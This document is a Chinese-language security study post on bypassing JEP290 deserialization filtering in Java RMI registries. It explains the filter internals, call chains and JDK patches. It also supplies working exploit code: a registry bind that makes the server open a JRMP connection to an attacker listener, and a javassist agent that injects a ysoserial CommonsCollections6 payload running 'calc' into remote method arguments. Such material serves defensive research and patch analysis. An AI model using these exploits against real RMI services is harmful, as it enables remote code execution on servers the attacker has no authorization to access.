JEP290的绕过学习
前置
什么是JEP290:
JEP290是一个规范是为了应对反序列设置的一种过滤器。
适用的范围:
- Java™ SE Development Kit 8, Update 121 (JDK 8u121)
- Java™ SE Development Kit 7, Update 131 (JDK 7u131)
- Java™ SE Development Kit 6, Update 141 (JDK 6u141)
JEP290的作用:
- 提供限制反序列类的机制 黑白名单
- 限制反序列的深度和复杂度
- 定义一个可配置的过滤机制,比如通过配置
properties
文件来定义过滤器 - 为RMI提供验证机制
JEP290限制情况:
- 反序列时数组元素数
- 嵌套的深度
- 数量对象的引用数量
- 消耗的字节数
核心类
JEP290涉及的核心类有ObjectInputStream
类。ObjectInputFilter
接口,Config
静态类以及Global
静态类。其中Config
是ObjectInputFilter
接口的内部类。Global
类又是Config
类的内部类。
ObjectInputStream
JEP290进行过滤具体实现就是在ObjectInputStream
类中增加了一个serialFilter
属性和一个 filterCheck
函数,两者搭配来实现过滤的。
serialFilter属性
它就是一个ObjectInputFilter
接口类型
filterCheck函数
他首先会判断seriaFilter
判断不为空进行后续过滤操作,然后将我们的信息封装为FilterValues
对象传入到seriaFilter.checkInput
返回值为ObjectInputFilter.Status
类型。然后再判断Status的值 如果为NULL或者其他就报错了。
所以配置过滤逻辑也是在ObjectInputStream#filterCheck
然后配置过滤器就是设置serialFilter
并且在ObjectInputStream
构造函数中赋值为ObjectInputFilter#Config
静态类的serialFilter
字段。
ObjectInputFilter接口
在低于JDK9和高于JDK9的时候两个类的地址和方法是不一样的。
然后一共静态类///一个接口///一个枚举类///。从注解可以知道的是他是一个函数式接口。
函数式接口:一个有且仅有一个抽象方法
函数式接口的赋值:lambda表达式或者方法引用,或者赋值实现了这个接口的对象。
Config静态类
configuredFilter
configuredFilter
是一个静态字段,所以调用Config
就会触发configuredFilter
的赋值行为
这个赋值第一种也是先根据JVM第二种则是指定文件。当然JVM是优先。
createFilter
他会调用Global.createFilter
方法,然后返回Global对象的filters
字段、、Global就是对JEP290字符串解析到他上面。
Config类总结
Config 静态类在初始化的时候,会将Config.serialFilter 赋值为一个Global对象,这个Global 对象的filters字段值是jdk.serailFilter属性对应的 Function 列表
而 ObjectInputStream 的构造函数中,正好取的就是 Config.serialFilter 这个静态字段 , 所以设置了 Config.serialFilter 这个静态字段,就相当于设置了 ObjectInputStream 类全局过滤器
Global 类的一个重要特征是实现了 `ObjectInputFilter 接口,实现了其中的 checkInput 方法。所以 Global 类可以直接赋值到 ObjectInputStream.serialFilter 上。
RegistryImpl与JEP290
在jep290后面增加了filter进行过滤 全局搜索我们可以知道
在oldDispatch
中增加了unmarshalCustomCallData
而这个方法正是设置我们局部filter
而这个filter哪里来的呢
是在UnicastServerRef
传递过来的
而创建注册中心的时候是需要调用它的
而registryFilter
是这样的
然后回到第一步的skel 然后会去找到RegistryImpl_Skel#dispatch
然后去看我们到底是什么bind等
然后进行反序列化然后就会进行一系列的过滤操作。
DGClmpl
和上面原理类似 这是过滤的一些东西
bypass 8u121-8u231
UnicastRef 是在白名单上的,RMI Server 或者 Client 和 Registry 的通信就基于它。
我们在执行lookup 以及bind的等操作的时候 实际上都是要先从TCPEndpoint->LiveRef->UnicastRef进一步的封装处理的。
因为我们生成一个实现了Remote继承了UnicastRemoteObject的类对象的话。他就会自动封装我们的IP 以及objId以及一个随机化端口 封装起来 为了和他进行一个通信。
RemoteObject 是一个抽象类,在后面的 Bypass 思路构造中它会扮演一个很重要的角色。它实现了 Remote 和 Serializable 接口,代表它(及其子类)可以通过白名单的检测,而 Bypass 利用的关键点就是它的 readObject 方法:
因为他的readobject方法实现了ref.readExternal(in);
因为ref是我们UnincastRef 所以直接去寻找
host 和端口信息(就是恶意 JRMP 服务的 host 与端口,后面会提到),然后重新封装成一个 LiveRef 对象,将其存储到当前的 ConnectionInputStream 上,调用 saveRef 方法。建立了一个 TCPEndpoint 到 ArrayList
然后把这一步其实是在RegistryImpl_Skle#dispatch中完成了 因为我们知道 服务端监听后 会等待连接->进入transport->serviceCall->dipatch去处理。因为是lookup我们写的demo
63行也就是我们上面说的步骤 然后进入67行也就是StreamRemoteCall#releaseInputStream
方法
在这里我们会调到this.in.registerRefs();
这里的 this.in就是上文中提到的存储了 LiveRef 对象的那个 ConnectionInputStream 对象
然后进行了一波lookup操作
获取到lookp完的对象是一个DGCClient.EndpointEntry对象进而调用registerRefs
最终调到this.makeDirtyCall(var2, var3);
-> DGCImpl_Stub.dirty
这里说一下 什么使用会调用dirty[当客户端对远程对象进行unmarshaled时,会调用dirty]
然后进行了invoke
执行executeCall 一般来说执行 是处理返回结果的 这里异常了 直接进入case 2进行反序列化我们恶意传输的数据
导致的rce
调用链如下
客户端发送数据 --> ...
UnicastServerRef#dispatch -->
UnicastServerRef#oldDispatch -->
RegistryImpl_Skle#dispatch --> RemoteObject#readObject
StreamRemoteCall#releaseInputStream -->
ConnectionInputStream#registerRefs -->
DGCClient#registerRefs -->
DGCClient$EndpointEntry#registerRefs -->
DGCClient$EndpointEntry#makeDirtyCall -->
DGCImpl_Stub#dirty -->
UnicastRef#invoke --> (RemoteCall var1)
StreamRemoteCall#executeCall -->
ObjectInputSteam#readObject --> "pwn"
emm 正常的话是OK的是1 我也不知道 为啥他走2 。。没研究出来 这样子就反序列化
所以关键在于:通过反序列化将Registry 变为 JRMP 客户端,向 JRMPListener 发起 JRMP 请求。
所以我们的exp如下:
package RMI;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class bypass_rmi121 {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.getRegistry(9999);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("localhost", 8888);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
// HelloImpl hello = new HelloImpl(ref);
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
// lookup方法也可以,但需要手动模拟lookup方法的流程
registry.bind("pwn", handler);
// registry.bind("pwn", hello);
}
}
Bypass 8u231~8u241
在上面的修复方案中就是在ditry中增加了如下
而我们的最终要用到的类是javax.management.BadAttributeValueExpException
因为我们就是会出现异常最终到这个类罢了。
所以基于上面的我们要找到一些新的。上面bypass原理其实不是反序列化而是递归触发了反序列化,通过DGCCliet向JRMPListener发起JRMP请求,而下面bypass231这条gadget是直接利用一次反序列化发起JRMP请求。
调用链如下:
客户端发送数据 --> 服务端反序列化(RegistryImpl_Skle#dispatch)
UnicastRemoteObject#readObject -->
UnicastRemoteObject#reexport -->
UnicastRemoteObject#exportObject --> overload
UnicastRemoteObject#exportObject -->
UnicastServerRef#exportObject --> ...
TCPTransport#listen -->
TcpEndpoint#newServerSocket -->
RMIServerSocketFactory#createServerSocket --> Dynamic Proxy(RemoteObjectInvocationHandler)
RemoteObjectInvocationHandler#invoke -->
RemoteObjectInvocationHandler#invokeMethod -->
UnicastRef#invoke --> (Remote var1, Method var2, Object[] var3, long var4)
StreamRemoteCall#executeCall -->
ObjectInputSteam#readObject --> "pwn"
UnicastRemoteObject 作为反序列化的入口,
UnicastRemoteObject#readObject:
主要ssf 因为后面我们需要用到他的。继续跟进然后发现是赋值给了ref
然后一直export到 listen 这里和创建一个register 没什么太大的区别。
进入listen 注意观察newServerSocks
var1是什么 也就是我们ssf赋值过去的 一个代理对象 所以执行方法会调用invoke
var1是RemoteObjectInvocationHandler封装的对象 所以先调用的是他
然后进一步调用到unicastref.invoke
其中我们中途需要将我们的 对象以及名字 序列化 。但是本地在 bind 或者 rebind 一个对象的时候,在序列化对象的时候会来到 MarshalOutputStream#replaceObject 方法:
原先的 UnicastRemoteObject 会被转化成 RemoteObjectInvocationHandler,自然到服务端就无法触发 UnicastRemoteObject#readObject 方法。
解决方案是自己重写一下 RegistryImpl#bind 方法,在序列化之前通过反射 ObjectInputStream,修改 enableReplace 为 false
通过rasp bypass[原理object参数]
我们知道如果当服务器使用的是object接收参数的话。是可以无视jep290的 然而当我们获取到注册中心之后
我们传入参数的时候其实的可以hook 我们参数的类型进而传递过去的。因此可以用恶意对象替换从Object类派生的参数(例如String)
图来自afanti师傅
agent
package rasp;
import java.lang.instrument.Instrumentation;
public class agent {
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("first"+agentArgs);
inst.addTransformer(new Hook_RemoteMethod());
}
}
Hook_RemoteMethod
package rasp;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class Hook_RemoteMethod implements ClassFileTransformer{
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if ("java/rmi/server/RemoteObjectInvocationHandler".equals(className)) {
try {
// 从ClassPool获得CtClass对象
final ClassPool classPool = ClassPool.getDefault();
final CtClass clazz = classPool.get("java.rmi.server.RemoteObjectInvocationHandler");
CtMethod convertToAbbr = clazz.getDeclaredMethod("invokeRemoteMethod");
String methodBody = "{System.out.println(\"this is invokemethod?\");\n" +
"Class aClass = Class.forName(\"ysoserial.payloads.CommonsCollections6\",true,ClassLoader.getSystemClassLoader());\n" +
"Object o = aClass.newInstance();\n" +
"Object getObject = aClass.getMethod(\"getObject\", new Class[]{String.class}).invoke(o, new Object[]{\"calc\"});\n" +
"java.lang.Object[] objects = new Object[1];\n" +
"objects[0]=getObject;\n" +
"return ref.invoke((java.rmi.Remote) $1, $2,objects,getMethodHash($2));}";
convertToAbbr.setBody(methodBody);
// 返回字节码,并且detachCtClass对象
byte[] byteCode = clazz.toBytecode();
//detach的意思是将内存中曾经被javassist加载过的对象移除,如果下次有需要在内存中找不到会重新走javassist加载
clazz.detach();
return byteCode;
} catch (Exception ex) {
ex.printStackTrace();
}
}
// 如果返回null则字节码不会被修改
return null;
// 如果返回null则字节码不会被修改
}
}
- Class.forName是需要指定ClassLoader的。不然为NULL
- [source error] no such class Method错误是需要制定全限定名称
- javassit是不支持可变参数传参 not found in java.lang.Class 异常 修改如下代码即可
getDeclaredMethod("defineClass",byte[].class,Integer.TYPE, Integer.TYPE);
修改如下:
getDeclaredMethod("defineClass", new Class[]{byte[].class,Integer.TYPE, Integer.TYPE});
invoke(ClassLoader.getSystemClassLoader(), classBytes,0,classBytes.length);
修改如下
invoke(ClassLoader.getSystemClassLoader(), new Object[]{classBytes,0,classBytes.length});
虽然报错也是没有任何问题的。把yso.jar添加依赖即可使用。
241之后也是修复了
241后修复
jdk8u241修复主要是在后面的调用RemoteObjectInvocationHandler#invokeRemoteMethod中:
以及针对string类型
RegistryImpl_Skel#dispatch#case 2
经过以下调用栈最后会判断我们的type是不是string
点我代码下载__删除png_zip打开
阅读
https://xz.aliyun.com/t/10170#toc-23
https://blog.csdn.net/qq_35029061/article/details/126160669
https://paper.seebug.org/1251/#rmijdk
https://blog.csdn.net/qsort_/article/details/104861625